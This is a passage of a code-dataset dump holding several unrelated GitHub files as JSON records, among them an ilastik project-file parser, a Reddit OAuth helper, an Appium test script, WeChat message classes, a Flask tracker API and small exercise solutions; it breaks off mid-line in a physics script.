\"display_mode\")),\n normalizeDisplay=ensure_optional(ensure_bool, group, \"normalizeDisplay\"),\n drange=ensure_optional(ensure_drange, group, \"drange\")\n )\n\n def try_to_datasource(\n self,\n *,\n ilp_fs: IFilesystem,\n ilp_path: PurePosixPath,\n ) -> \"FsDataSource | Exception\":\n url = Url.parse(self.filePath)\n if url is None: # filePath was probably a path, not an URL\n try:\n filePath = PurePosixPath(self.filePath)\n except Exception:\n return Exception(f\"Could not interpret filePath as path or URL: {self.filePath}\")\n if not filePath.is_absolute():\n url = ilp_fs.geturl(ilp_path.parent / filePath)\n else:\n fs_base_path = ilp_fs.geturl(PurePosixPath(\"dummy\")).path.parent\n if not filePath.is_relative_to(fs_base_path):\n return Exception(f\"Could not interpret filePath '{self.filePath}' as path inside provided fs\")\n url = ilp_fs.geturl(filePath.relative_to(fs_base_path))\n # import pydevd; pydevd.settrace()\n datasources_result = try_get_datasources_from_url(url=url)\n if datasources_result is None:\n return Exception(f\"Could not open {url} as a data source: unsupported format\")\n if isinstance(datasources_result, Exception):\n return Exception(f\"Could not open {url} as a data source: {datasources_result}\")\n if len(datasources_result) != 1:\n return Exception(f\"Expected a single datasource from {url}, found {len(datasources_result)}\")\n return datasources_result[0]\n\nclass IlpLane: #FIXME: generic over TypeVarTuple(..., bound=Literal[\"Raw Data\", \"Prediciton Mask\", ...])\n def __init__(self, roles: Mapping[str, \"IlpDatasetInfo | None\"]) -> None:\n self.roles = roles\n super().__init__()\n\n @property\n def Role_Names(self) -> \"List[bytes]\":\n return [name.encode(\"utf8\") for name in self.roles.keys()]\n\n def populate_group(self, group: h5py.Group):\n for role_name, role_datasouce in self.roles.items():\n role_group = group.create_group(role_name) # empty roles still show up in the .ilp\n if role_datasouce is not None:\n role_datasouce.populate_group(role_group)\n\n @classmethod\n def parse(cls, group: h5py.Group, role_names: Sequence[str]) -> \"IlpLane\":\n roles: Dict[str, \"IlpDatasetInfo | None\"] = {}\n for role_name in role_names:\n if role_name not in group:\n roles[role_name] = None\n continue\n info_group = ensure_group(group, role_name)\n if len(info_group.keys()) == 0:\n roles[role_name] = None\n continue\n roles[role_name] = IlpDatasetInfo.parse(info_group)\n return IlpLane(roles=roles)\n\n\nclass IlpInputDataGroup:\n def __init__(self, lanes: Sequence[IlpLane]) -> None:\n self.lanes = lanes\n super().__init__()\n\n def populate_group(self, group: h5py.Group):\n group[\"Role Names\"] = [\"Raw Data\".encode(\"utf8\"), \"Prediciton Mask\".encode(\"utf8\")] # FIXME! what about other workflows?\n group[\"StorageVersion\"] = \"0.2\"\n\n infos_group = group.create_group(\"infos\")\n for lane_index, lane in enumerate(self.lanes):\n lane.populate_group(infos_group.create_group(f\"lane{lane_index:04}\"))\n\n _ = group.create_group(\"local_data\")\n\n @classmethod\n def parse(cls, group: h5py.Group) -> \"IlpInputDataGroup\":\n RoleNames = ensure_encoded_string_list(group, \"Role Names\")\n expected_storage_version = \"0.2\"\n found_storage_version = ensure_encoded_string(group, \"StorageVersion\")\n if found_storage_version != expected_storage_version:\n raise IlpParsingError(f\"Expected {group.name}/StorageVersion to be {expected_storage_version}, found {found_storage_version}\")\n infos = ensure_group(group, \"infos\")\n group.file\n return IlpInputDataGroup(\n lanes=[\n IlpLane.parse(group=ensure_group(infos, lane_name), role_names=RoleNames) for lane_name in infos.keys()\n ]\n )\n\n @classmethod\n def find_and_parse(cls, h5_file: h5py.File) -> \"IlpInputDataGroup\":\n return cls.parse(ensure_group(h5_file, \"Input Data\"))\n\n def try_to_datasources(\n self,\n *,\n role_name: str,\n ilp_fs: IFilesystem,\n ilp_path: PurePosixPath,\n ) -> \"Dict[int, 'FsDataSource | None'] | Exception\":\n infos = [lane.roles[role_name] for lane in self.lanes]\n raw_data_datasources: Dict[int, \"FsDataSource | None\"] = {}\n for lane_index, info in enumerate(infos):\n if info is None:\n raw_data_datasources[lane_index] = None\n else:\n datasource_result = info.try_to_datasource(ilp_fs=ilp_fs, ilp_path=ilp_path)\n if isinstance(datasource_result, Exception):\n return datasource_result\n raw_data_datasources[lane_index] = datasource_result\n return raw_data_datasources\n\nclass IlpFeatureSelectionsGroup:\n named_feature_classes: ClassVar[Mapping[str, Type[IlpFilter]]] = {\n \"GaussianSmoothing\": IlpGaussianSmoothing,\n \"LaplacianOfGaussian\": IlpLaplacianOfGaussian,\n \"GaussianGradientMagnitude\": IlpGaussianGradientMagnitude,\n \"DifferenceOfGaussians\": IlpDifferenceOfGaussians,\n \"StructureTensorEigenvalues\": IlpStructureTensorEigenvalues,\n \"HessianOfGaussianEigenvalues\": IlpHessianOfGaussianEigenvalues,\n }\n feature_names: ClassVar[Sequence[str]] = list(named_feature_classes.keys())\n feature_classes: ClassVar[Sequence[Type[IlpFilter]]] = list(named_feature_classes.values())\n\n def __init__(self, feature_extractors: IlpFilterCollection) -> None:\n self.feature_extractors: IlpFilterCollection = feature_extractors\n super().__init__()\n\n def populate_group(self, group: h5py.Group):\n if len(self.feature_extractors.filters) == 0:\n return\n\n group[\"FeatureIds\"] = [name.encode(\"utf8\") for name in self.feature_names]\n\n default_scales = [0.3, 0.7, 1.0, 1.6, 3.5, 5.0, 10.0]\n extra_scales = set(fe.ilp_scale for fe in self.feature_extractors.filters if fe.ilp_scale not in default_scales)\n scales = default_scales + sorted(extra_scales)\n group[\"Scales\"] = np.asarray(scales)\n\n SelectionMatrix: \"ndarray[Any, Any]\" = np.zeros((len(self.feature_classes), len(scales)), dtype=bool)\n for fe in self.feature_extractors.filters:\n name_idx = self.feature_classes.index(fe.__class__)\n scale_idx = scales.index(fe.ilp_scale)\n SelectionMatrix[name_idx, scale_idx] = True\n\n ComputeIn2d: \"ndarray[Any, Any]\" = np.full(len(scales), True, dtype=bool)\n for idx, fname in enumerate(self.feature_classes):\n ComputeIn2d[idx] = all(fe.axis_2d for fe in self.feature_extractors.filters if fe.__class__.__name__ == fname)\n\n group[\"SelectionMatrix\"] = SelectionMatrix\n group[\"ComputeIn2d\"] = ComputeIn2d # [: len(scales)] # weird .ilp quirk in featureTableWidget.py:524\n group[\"StorageVersion\"] = \"0.1\"\n\n @classmethod\n def parse(cls, group: h5py.Group) -> \"IlpFeatureSelectionsGroup\":\n if len(group.keys()) == 0:\n return IlpFeatureSelectionsGroup(IlpFilterCollection.none())\n FeatureIds = ensure_encoded_string_list(group, \"FeatureIds\")\n Scales = ensure_list(group, key=\"Scales\", expected_dtype=np.dtype(\"float64\"))\n SelectionMatrix = ensure_ndarray(\n group, key=\"SelectionMatrix\", expected_shape=(len(FeatureIds), len(Scales)), expected_dtype=np.dtype(\"bool\")\n )\n ComputeIn2d = ensure_list(group, key=\"ComputeIn2d\", expected_dtype=np.dtype(\"bool\"))\n # if len(ComputeIn2d) != len(FeatureIds):\n # raise IlpParsingError(f\"FeatureIds has different length from ComputeIn2D\")\n StorageVersion = ensure_encoded_string(group, key=\"StorageVersion\")\n if StorageVersion != \"0.1\":\n raise IlpParsingError(f\"Unexpected storage version on {group.name}: {StorageVersion}\")\n\n feature_extractors: Set[IlpFilter] = set()\n for feature_name_index, feature_name in enumerate(FeatureIds):\n for scale_index, scale in enumerate(Scales):\n if not SelectionMatrix[feature_name_index][scale_index]:\n continue\n feature_class = cls.named_feature_classes.get(feature_name)\n if feature_class is None:\n raise IlpParsingError(f\"Bad entry in {group.name}/FeatureIds: {feature_name}\")\n feature_extractors.add(feature_class(\n ilp_scale=float(scale),\n axis_2d=\"z\" if ComputeIn2d[feature_name_index] else None, #FIXME: always z?\n ))\n return IlpFeatureSelectionsGroup(feature_extractors=IlpFilterCollection(feature_extractors))","repo_name":"ilastik/webilastik","sub_path":"webilastik/classic_ilastik/ilp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":25619,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"37076503207","text":"n = int(input())\n\nfor i in range(n) :\n a = list(map(int, input().split()))\n avg = sum(a[1:])/a[0]\n cnt = 0\n for j in range(1,len(a)) :\n if a[j] > avg :\n cnt += 1\n print(format(cnt/a[0]*100,\".3f\")+'%')\n","repo_name":"luxuryruki/BaekJoon-Algorithm","sub_path":"1차 배열/평균은 넘겠지.py","file_name":"평균은 넘겠지.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"23740710003","text":"import copy, json, queue, random, requests, threading, time, webbrowser\nfrom bottle import request, route, run\n\n# -------------------------------------------------------------------------------------------\n\nINFO = json.loads(open(\"info.txt\").read())\n\nUSER_AGENT = \"{}:{}:{} (by /u/{})\".format(INFO[\"app_platform\"], INFO[\"app_name\"], INFO[\"app_version\"], INFO[\"app_author\"])\n\n# -------------------------------------------------------------------------------------------\n\nrandom.seed()\n\ndef gen_random_string():\n result_list = []\n for n in range(32):\n result_list.append(random.choice(\"abcdefghijklmnopqrstuvwxyz1234567890\"))\n result = \"\".join(result_list)\n return result\n\n# -------------------------------------------------------------------------------------------\n\nCLIENT_ID = INFO[\"client_id\"]\nCLIENT_SECRET = INFO[\"client_secret\"] # This doesn't exist for Apps, merely local scripts\n\nLOCAL_PORT = 8081\n\nRESPONSE_TYPE = \"code\"\nSTATE = gen_random_string()\nREDIRECT_URI = \"http://127.0.0.1:{}\".format(LOCAL_PORT)\nDURATION = \"temporary\"\nSCOPE = \"edit,history,read\"\n\nO_AUTH2_URL = \"https://www.reddit.com/api/v1/authorize?client_id={}&response_type={}&state={}&redirect_uri={}&duration={}&scope={}\".format(\n CLIENT_ID, RESPONSE_TYPE, STATE, REDIRECT_URI, DURATION, SCOPE)\n\nCODE_POST_URL = \"https://www.reddit.com/api/v1/access_token\"\n\nMAIN_URL = \"https://oauth.reddit.com\"\n\nINITIAL_EXTRA_HEADERS = {'User-agent': USER_AGENT}\n\n# -------------------------------------------------------------------------------------------\n\n# Webserver to deal with the redirect that Reddit sends the user to during initial authentication\n\nBOTTLE_QUEUE = queue.Queue()\n\n@route(\"/\", \"GET\")\ndef slash():\n error = request.query.error\n code = request.query.code\n state = request.query.state\n\n BOTTLE_QUEUE.put([error, code, state])\n\n return \"Result

Error: {}

Code: {}

State: {}

\".format(\n error, code, state)\n\ndef web_server():\n run(host = \"127.0.0.1\", port = LOCAL_PORT, quiet = True)\n\n# -------------------------------------------------------------------------------------------\n\ndef get_access_token():\n\n web_server_thread = threading.Thread(target = web_server, daemon = True)\n web_server_thread.start()\n\n webbrowser.open(O_AUTH2_URL)\n\n error, code, state = BOTTLE_QUEUE.get()\n\n if error:\n print(\"Error: {}\".format(error))\n exit()\n\n if state != STATE:\n print(\"State received did not match state sent!\")\n exit()\n\n post_data = \"grant_type=authorization_code&code={}&redirect_uri={}\".format(code, REDIRECT_URI)\n\n response = requests.post(CODE_POST_URL, data = post_data, auth = (CLIENT_ID, CLIENT_SECRET), headers = INITIAL_EXTRA_HEADERS)\n response_dict = response.json()\n token = response_dict[\"access_token\"]\n duration = response_dict[\"expires_in\"]\n\n return Token(token, duration = duration)\n\n# -------------------------------------------------------------------------------------------\n\ndef sanitise_endpoint(endpoint):\n if len(endpoint) > 0:\n if endpoint[0] != \"/\":\n endpoint = \"/\" + endpoint\n return endpoint\n\n# -------------------------------------------------------------------------------------------\n\nclass Token():\n def __init__(self, tokenstring, *, duration = None, expiry = None):\n\n if duration is None and expiry is None:\n raise ValueError\n\n self.tokenstring = tokenstring\n if duration:\n self.expiry = time.time() + duration\n elif expiry:\n self.expiry = expiry\n\n def __str__(self):\n raise NotImplementedError(\"__str__() method not supported by Token(); ask for .tokenstring instead, or call .display()\")\n\n def display(self):\n return \"\".format(self.tokenstring, time.ctime(self.expiry))\n\n def json(self):\n return '{\"token\": \"' + self.tokenstring + '\", \"expiry\": ' + str(self.expiry) + '}'\n\nclass Session():\n\n def __init__(self):\n\n self.token = None\n self.verb = \"\"\n\n try:\n with open(\"session.txt\", \"r\") as infile:\n dct = json.loads(infile.read())\n self.token = Token(dct[\"token\"], expiry = dct[\"expiry\"])\n self.verb = \"Reusing old\"\n except:\n print(\"Failed to load from session.txt\")\n self.token = None\n\n if self.token is None or self.token.expiry < time.time() + 300:\n self.verb = \"Using new\"\n self.token = get_access_token()\n with open(\"session.txt\", \"w\") as outfile:\n outfile.write(self.token.json())\n\n print()\n print(\"{} token: {}\".format(self.verb, self.token.display()))\n print()\n\n self.remaining = None\n self.reset = None\n self.used = None\n\n def rate_limit(self):\n if self.remaining == 0:\n print(\"\\nWaiting {} seconds for rate limit reset\\n\", self.reset + 2)\n time.sleep(self.reset + 2)\n\n def request(self, method, endpoint, *, params = {}, postdata = {}):\n\n self.rate_limit()\n endpoint = sanitise_endpoint(endpoint)\n\n out_headers = copy.copy(INITIAL_EXTRA_HEADERS)\n out_headers[\"Authorization\"] = \"bearer {}\".format(self.token.tokenstring)\n\n if method.lower() == \"get\":\n response = requests.get(MAIN_URL + endpoint, params = params, headers = out_headers)\n elif method.lower() == \"post\":\n response = requests.post(MAIN_URL + endpoint, params = params, data = postdata, headers = out_headers)\n\n try:\n self.remaining = response.headers[\"x-ratelimit-remaining\"]\n self.reset = response.headers[\"x-ratelimit-reset\"]\n self.used = response.headers[\"x-ratelimit-used\"]\n except:\n print(\"Session.request() encountered an error...\")\n print(response.text)\n print(\"END OF REPORT from Session.request()\")\n\n return response\n\n def get(self, endpoint, *, params = {}):\n response = self.request(\"GET\", endpoint, params = params)\n return response.json()\n\n def post(self, endpoint, *, postdata = {}):\n response = self.request(\"POST\", endpoint, postdata = postdata)\n return response.json()\n","repo_name":"rooklift/reddit_tools","sub_path":"base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5653865542","text":"def checkLocationsPaths(folderAndFile, location_contents_files, location_contents_folders, log):\n\n # Based on what is in the locations_contents, parse the downstream paths of files and folders\n\n if folderAndFile.count(\"/\") > 1:\n # /tagging-a-subrepo/a-test-subrepo.md\n # /tagging-a-subrepo/anotherfolder/a-test-subrepo.md\n returnedFolderName, returnedFileName = folderAndFile.rsplit('/', 1)\n # /tagging-a-subrepo a-test-subrepo.md\n # /tagging-a-subrepo/anotherfolder a-test-subrepo.md\n else:\n returnedFolderName = '/'\n returnedFileName = folderAndFile\n\n locationFileMatch = False\n add = True\n\n if not location_contents_files == []:\n for location_contents_file in location_contents_files:\n if (location_contents_file['file'].replace('/', '')) == ((folderAndFile).replace('/', '')):\n file_handling = location_contents_file['file_handling']\n if file_handling == 'remove':\n add = False\n elif (file_handling is None):\n returnedFolderName = folderAndFile.rsplit('/', 1)[0]\n elif (file_handling == ''):\n returnedFolderName = '/'\n elif '/' in file_handling:\n returnedFolderName = file_handling.rsplit('/', 1)[0]\n else:\n returnedFolderName = '/'\n locationFileMatch = True\n break\n if (not location_contents_folders == []) and (locationFileMatch is False):\n for location_contents_folder in location_contents_folders:\n # /tagging-a-subrepo\n # /tagging-a-subrepo/anotherfolder\n if folderAndFile.startswith('/' + location_contents_folder['folder'] + '/'):\n file_handling = location_contents_folder['file_handling']\n if file_handling == 'remove':\n add = False\n elif (file_handling == '') or (file_handling is None):\n # /tagging-a-subrepo/\n if (returnedFolderName + '/') == '/' + location_contents_folder['folder'] + '/':\n returnedFolderName = '/'\n else:\n # /tagging-a-subrepo/anotherfolder\n returnedFolderName = ((returnedFolderName + '/').split('/' + location_contents_folder['folder'] + '/', 1)[1])\n # anotherfolder\n else:\n returnedFolderName = file_handling\n break\n if not returnedFolderName.startswith('/'):\n returnedFolderName = '/' + returnedFolderName\n if not returnedFolderName.endswith('/'):\n returnedFolderName = returnedFolderName + '/'\n if '/' in returnedFileName:\n returnedFileName = returnedFileName.replace('/', '')\n\n return (add, returnedFileName, returnedFolderName)\n","repo_name":"IBM/md-enricher-for-cicd","sub_path":"mdEnricherForCICD/sourceFileList/checkLocationsPaths.py","file_name":"checkLocationsPaths.py","file_ext":"py","file_size_in_byte":2911,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"75"} +{"seq_id":"27565534774","text":"import time\n\nfrom appium import webdriver\nfrom appium.webdriver.common.touch_action import TouchAction\nfrom selenium.common.exceptions import InvalidElementStateException\n\ndesired_caps = {\n \"platformName\": \"Android\",\n \"deviceName\": \"1130537a\",\n \"app\": \"C:\\\\Users\\\\mhiremat\\\\Downloads\\\\Contacts_v3.23.1.310566111_apkpure.com.apk\",\n \"appPackage\": \"com.google.android.contacts\",\n \"appActivity\": \"com.android.contacts.activities.PeopleActivity\",\n \"newCommandTimeout\": 600\n}\n\ndriver = webdriver.Remote(\"http://localhost:4723/wd/hub\",desired_caps)\ndriver.implicitly_wait(30)\n\n#allow permission\nfor i in range(2):\n driver.find_element_by_id(\"com.android.packageinstaller:id/permission_allow_button\").click()\n time.sleep(3)\n\n#driver.find_element_by_id(\"android:id/list\").click()\n#driver.find_element_by_xpath(\"//android.widget.ListView[@bounds='[0,234][1080,2131]']\").click()\ntime.sleep(5)\n#tap on the create button\ntouch = TouchAction(driver)\ntouch.tap(x=926, y=2073).perform()\ntime.sleep(5)\nfile_name = driver.current_activity+\"_\"+time.strftime(\"%H%M%S\")\n\n#taking screenshot\ndriver.save_screenshot(\"C:\\\\Users\\\\mhiremat\\\\PycharmProjects\\\\appium\\\\Screenshots\\\\\"+file_name+\".png\")\n\ntouch.press(x=952, y=1660).wait(3).move_to(x=958, y=1259).wait(3).release().perform()\n\n#click on the more field button\ntouch.tap(x=247, y=2122).perform()\n\ntime.sleep(2)\ntouch.press(x=984, y=1923).move_to(x=974, y=1352).release().perform()\ntime.sleep(2)\ntouch.press(x=999, y=1514).move_to(x=989, y=1030).release().perform()\n\n#click on the phone drop-down\ndriver.find_element_by_xpath(\"(//android.widget.ImageButton[@content-desc='Show drop-down menu'])[1]\").click()\n\n","repo_name":"mjhiremath/Appium","sub_path":"gestures.py","file_name":"gestures.py","file_ext":"py","file_size_in_byte":1663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"40563792314","text":"'''微信公众号回复用户消息类型\nhttps://developers.weixin.qq.com/doc/offiaccount/Message_Management/Passive_user_reply_message.html\n'''\nimport time\n\nclass ReplyMsg(object):\n '''基类'''\n def __init__(self,toUser,fromUser):\n self.toUser = toUser\n self.fromUser = fromUser\n\n def send(self):\n return 'success'\n\nclass ReplyTextMsg(ReplyMsg):\n '''文本消息'''\n def __init__(self, toUser, fromUser,content):\n super(ReplyTextMsg,self).__init__(toUser,fromUser)\n self.content = content\n\n def send(self):\n xmlForm = '''\n \n \n \n {2}\n \n \n\n '''\n\n return xmlForm.format(self.toUser,self.fromUser,str(int(time.time())),self.content)\n\nclass ReplyImageMsg(ReplyMsg):\n '''图片消息'''\n def __init__(self, toUser, fromUser, media_id):\n super(ReplyImageMsg, self).__init__(toUser, fromUser)\n self.media_id = media_id\n\n def send(self):\n xmlForm = '''\n \n \n \n {2}\n \n \n \n \n\n '''\n\n return xmlForm.format(self.toUser, self.fromUser, str(int(time.time())), self.media_id)\n\nclass ReplyVoiceMsg(ReplyMsg):\n '''语音消息'''\n def __init__(self, toUser, fromUser, media_id):\n super(ReplyVoiceMsg, self).__init__(toUser, fromUser)\n self.media_id = media_id\n\n def send(self):\n xmlForm = '''\n \n \n \n {2}\n \n \n \n \n '''\n\n return xmlForm.format(self.toUser, self.fromUser, str(int(time.time())), self.media_id)\n\nclass ReplyVideoMsg(ReplyMsg):\n '''视频消息'''\n def __init__(self, toUser, fromUser, media_id,thumbmedia_id,title='',description=''):\n super(ReplyVideoMsg, self).__init__(toUser, fromUser)\n self.media_id = media_id\n self.thumbmedia_id = thumbmedia_id\n self.title = title\n self.description = description\n\n def send(self):\n xmlForm = '''\n \n \n \n {2}\n \n \n\n '''\n return xmlForm.format(self.toUser, self.fromUser, str(int(time.time())), self.media_id,\n self.thumbmedia_id,self.title,self.description)\n\nclass ReplyNewsMsg(ReplyMsg):\n '''图文消息'''\n def __init__(self, toUser, fromUser, newsitems):\n super(ReplyNewsMsg, self).__init__(toUser, fromUser)\n self.newsitems = newsitems\n\n def send(self):\n xmlForm = '''\n \n \n \n {2}\n \n {3}\n \n {4}\n \n\n\n '''\n itemXml = NewsItem.itemsXml(self.newsitems)\n return xmlForm.format(self.toUser, self.fromUser, str(int(time.time())), len(self.newsitems),\n itemXml)\n\nclass NewsItem(object):\n '''图文item'''\n def __init__(self,title,description,picurl,url):\n self.title = title\n self.description = description\n self.picurl = picurl\n self.url = url\n\n def __itemXml(self):\n xmlItem = '''\n \n <![CDATA[{0}]]>\n \n \n \n \n '''\n return xmlItem.format(self.title,self.description,self.picurl,self.url)\n\n @classmethod\n def itemsXml(cls,newsItemobjs):\n '''多图文时需要'''\n xmlstr =''\n if not isinstance(newsItemobjs,list):\n raise Exception('请将NewsItem的对象存到数组中')\n for item in newsItemobjs:\n if not isinstance(item,NewsItem):\n raise Exception('所有的元素必须时NewsItem对象')\n xmlstr += item.__itemXml()\n\n return xmlstr\n","repo_name":"AhMay/wechatpublic_practice","sub_path":"wechatutility/wechatReplyMsg.py","file_name":"wechatReplyMsg.py","file_ext":"py","file_size_in_byte":4746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70723343924","text":"#Несколько графиков на одном поле\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\n# Линейная зависимость\r\nx = np.linspace(0, 10, 50)\r\ny1 = x\r\n\r\n# Квадратичная зависимость\r\ny2 = [i**2 for i in x]\r\n\r\nplt.title(\"Зависимости: y1 = x, y2 = x^2\") # заголовок\r\nplt.xlabel(\"x\") # ось абсцисс\r\nplt.ylabel(\"y1, y2\") # ось ординат\r\nplt.grid() # включение отображение сетки\r\nplt.plot(x, y1, x, y2) # построение графика\r\n\r\nplt.show()","repo_name":"Kudin-dima/-python_1","sub_path":"Несколько графиков на одном поле.py","file_name":"Несколько графиков на одном поле.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29842076387","text":"from Grasshopper import DataTree\nfrom Grasshopper.Kernel.Data import GH_Path\nfrom Rhino.Geometry import Point3d\n\ndef treeBranch(points, breakP):\n \"\"\"Add a list, break number and return\n a Data Tree based on the break number.\"\"\"\n tree = DataTree[Point3d]()\n\n pathCount = 0\n newPath = GH_Path(pathCount)\n\n for num in range(len(points)):\n if num % breakP == 0 and num != 0:\n pathCount += 1\n newPath = GH_Path(pathCount)\n tree.Add(points[num], newPath)\n return tree","repo_name":"kavyajeetbora/Grasshopper-and-Python","sub_path":"Exercise Files/03_07/End/TreeFunctions.py","file_name":"TreeFunctions.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35082005470","text":"from flask_restful import Resource\r\nfrom flask_restful import reqparse, request\r\nfrom application.dbase import db\r\nfrom application.models import dummy, trackers, logs, User\r\nfrom flask_restful import fields, marshal_with\r\nfrom flask_security import login_required, auth_required\r\nfrom flask import jsonify\r\nfrom flask_login import current_user\r\n'''\r\noutput_fields= {\r\n \"id\": fields.Integer,\r\n \"user\": fields.String,\r\n \"data\": fields.String\r\n}'''\r\n\r\ntracker_parser= reqparse.RequestParser()\r\n#tracker_parser.add_argument('id')\r\ntracker_parser.add_argument('name')\r\ntracker_parser.add_argument('uid')\r\ntracker_parser.add_argument('desc')\r\ntracker_parser.add_argument('ttype')\r\ntracker_parser.add_argument('options')\r\ntracker_parser.add_argument('last_update')\r\n\r\n\r\nlog_parser= reqparse.RequestParser()\r\n#tracker_parser.add_argument('id')\r\nlog_parser.add_argument('tid')\r\nlog_parser.add_argument('value')\r\nlog_parser.add_argument('notes')\r\nlog_parser.add_argument('time')\r\n\r\n\r\n\r\n\r\n\r\nclass User_API(Resource):\r\n #@login_required\r\n @auth_required(\"token\")\r\n def get(self):\r\n\r\n return {\"uid\": current_user.id, \"email\": current_user.email}\r\n def put(self):\r\n pass\r\n def delete(self):\r\n pass\r\n def post(self):\r\n req = request.get_json()\r\n print(db.session.query(User). filter(User.id == 2).one().whooks)\r\n record = db.session.query(User).filter(User.id == current_user.id).one()\r\n try:\r\n record.whooks = req[\"whooks\"]\r\n db.session.commit()\r\n except: db.session.rollback()\r\n return req\r\n\r\nclass trackerAPI(Resource):\r\n #@login_required\r\n @auth_required(\"token\")\r\n def get(self, uID):\r\n record = db.session.query(trackers).filter(trackers.uid == uID).all()\r\n #return { \"id\":record[0].id, \"name\": record[0].name, \"uid\": record[0].uid, \"desc\": record[0].desc, \"ttype\": record[0].ttype, \"options\": record[0].options }\r\n #will actually return json of all trackers\r\n lis = [ i.json_out() for i in record]\r\n #print(lis)\r\n return jsonify(lis)\r\n\r\n @auth_required(\"token\")\r\n def patch(self):\r\n req = request.get_json()\r\n record = db.session.query(trackers).filter(trackers.id == req[\"tid\"]).one()\r\n try:\r\n record.name = req[\"name\"]\r\n record.ttype = req[\"ttype\"]\r\n record.desc = req[\"desc\"]\r\n record.options = req[\"options\"]\r\n db.session.commit()\r\n except:\r\n db.session.rollback\r\n return req\r\n \r\n @auth_required(\"token\")\r\n def delete(self, tID):\r\n record = db.session.query(trackers).filter(trackers.id == tID).one()\r\n db.session.delete(record)\r\n db.session.commit()\r\n print(tID)\r\n return {'status': 200}\r\n\r\n @auth_required(\"token\")\r\n def post(self):\r\n #args= tracker_parser\r\n req = request.get_json()\r\n print(type(req))\r\n record= trackers( name= req[\"name\"], uid= req[\"uid\"], desc= req[\"desc\"], ttype= req[\"ttype\"], options= req[\"options\"])\r\n #record= trackers(id= 2, name= \"name\", uid=1, desc=\"desc\", ttype=1, options= \"options\")\r\n db.session.add(record)\r\n db.session.commit()\r\n return req\r\n\r\nclass logAPI(Resource):\r\n #@login_required\r\n @auth_required(\"token\")\r\n def get(self, tid):\r\n record = db.session.query(logs).filter(logs.tid == tid).all()\r\n lis = [ i.json_out() for i in record]\r\n #print(lis)\r\n return jsonify(lis)\r\n \r\n @auth_required(\"token\")\r\n def patch(self):\r\n req = request.get_json()\r\n record = db.session.query(logs).filter(logs.id == req[\"lid\"]).one()\r\n try:\r\n record.time = req[\"time\"]\r\n record.value = req[\"value\"]\r\n record.notes = req[\"notes\"]\r\n db.session.commit()\r\n except:\r\n db.session.rollback()\r\n record = db.session.query(User).filter(User.id == None).all()\r\n return req\r\n\r\n\r\n @auth_required(\"token\")\r\n def delete(self, lid):\r\n record = db.session.query(logs).filter(logs.id == lid).one()\r\n db.session.delete(record)\r\n db.session.commit()\r\n print(lid)\r\n return {'status': 200}\r\n\r\n\r\n @auth_required(\"token\")\r\n def post(self):\r\n req = request.get_json()\r\n #print(type(req))\r\n record= logs( tid= req[\"tid\"], time= req[\"time\"], value= req[\"value\"], notes= req[\"notes\"])\r\n #record= trackers(id= 2, name= \"name\", uid=1, desc=\"desc\", ttype=1, options= \"options\")\r\n db.session.add(record)\r\n db.session.commit()\r\n req = request.get_json()\r\n record = db.session.query(trackers).filter(trackers.id == req[\"tid\"]).one()\r\n try:\r\n s=req[\"time\"]\r\n record.last_update = s[0:10]+\" \"+s[11:16]\r\n \r\n db.session.commit()\r\n except:\r\n db.session.rollback()\r\n record = db.session.query(User).filter(User.id == current_user.id).one()\r\n try:\r\n record.log_flag = 1\r\n db.session.commit()\r\n except: db.session.rollback()\r\n return req\r\n\r\n \r\nclass dummy(Resource):\r\n @auth_required(\"token\")\r\n def get(self):\r\n return { \"msg\": \"hello\"}","repo_name":"SomnathB053/_projectMAD2","sub_path":"ws1/application/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32116092100","text":"import urls\nimport json\n\ndef fetch(session, project_path, environment=None):\n envvars_path = urls.environment_variables_url(project_path)\n response = session.get(envvars_path)\n\n envvars = []\n if response.ok:\n envvars = json.loads(response.text).get('variables', [])\n\n if environment is not None:\n envvars = [v for v in envvars if v.get('environment_scope') == environment] + [v for v in envvars if v.get('environment_scope') == '*']\n\n env_dict = {}\n\n for v in envvars:\n env_dict[v['key']] = v['value']\n\n return env_dict\n","repo_name":"AjBreidenbach/unfurl-cloud-local-dev","sub_path":"src/envvars.py","file_name":"envvars.py","file_ext":"py","file_size_in_byte":565,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11953363881","text":"n,m = [int(x) for x in input().split()]\n\np = [x for x in range(n)]\n\ndef find(x):\n if p[x] == x:\n return x\n else:\n p[x] = find(p[x])\n return p[x]\n\ndef unite(x,y):\n p[find(x)]= find(y)\n\nfor _ in range(m):\n one,two = [int(x) for x in input().split()]\n unite(one-1,two-1)\n\nconnected = True\nfor x in range(1,n):\n if find(0) != find(x):\n print(x+1)\n connected = False\n\nif connected == True:\n print(\"Connected\")\n\n\n","repo_name":"Hansel34/CPC","sub_path":"Kattis/Python/wheresmyinternet.py","file_name":"wheresmyinternet.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10711622292","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom fwmi import H1\n\n\nswitch_lam = 2\nlam = 532e-9 * switch_lam\ntheta_t = 1.5 * np.pi / 180\ngamma_m = 1.40e9 / switch_lam # molecular signal spectral width\ngamma_a = 50e6 / switch_lam # aerosol signal spectral width\nfopd = 0.15 * switch_lam\nt_ref = 20\nt = 20\np = 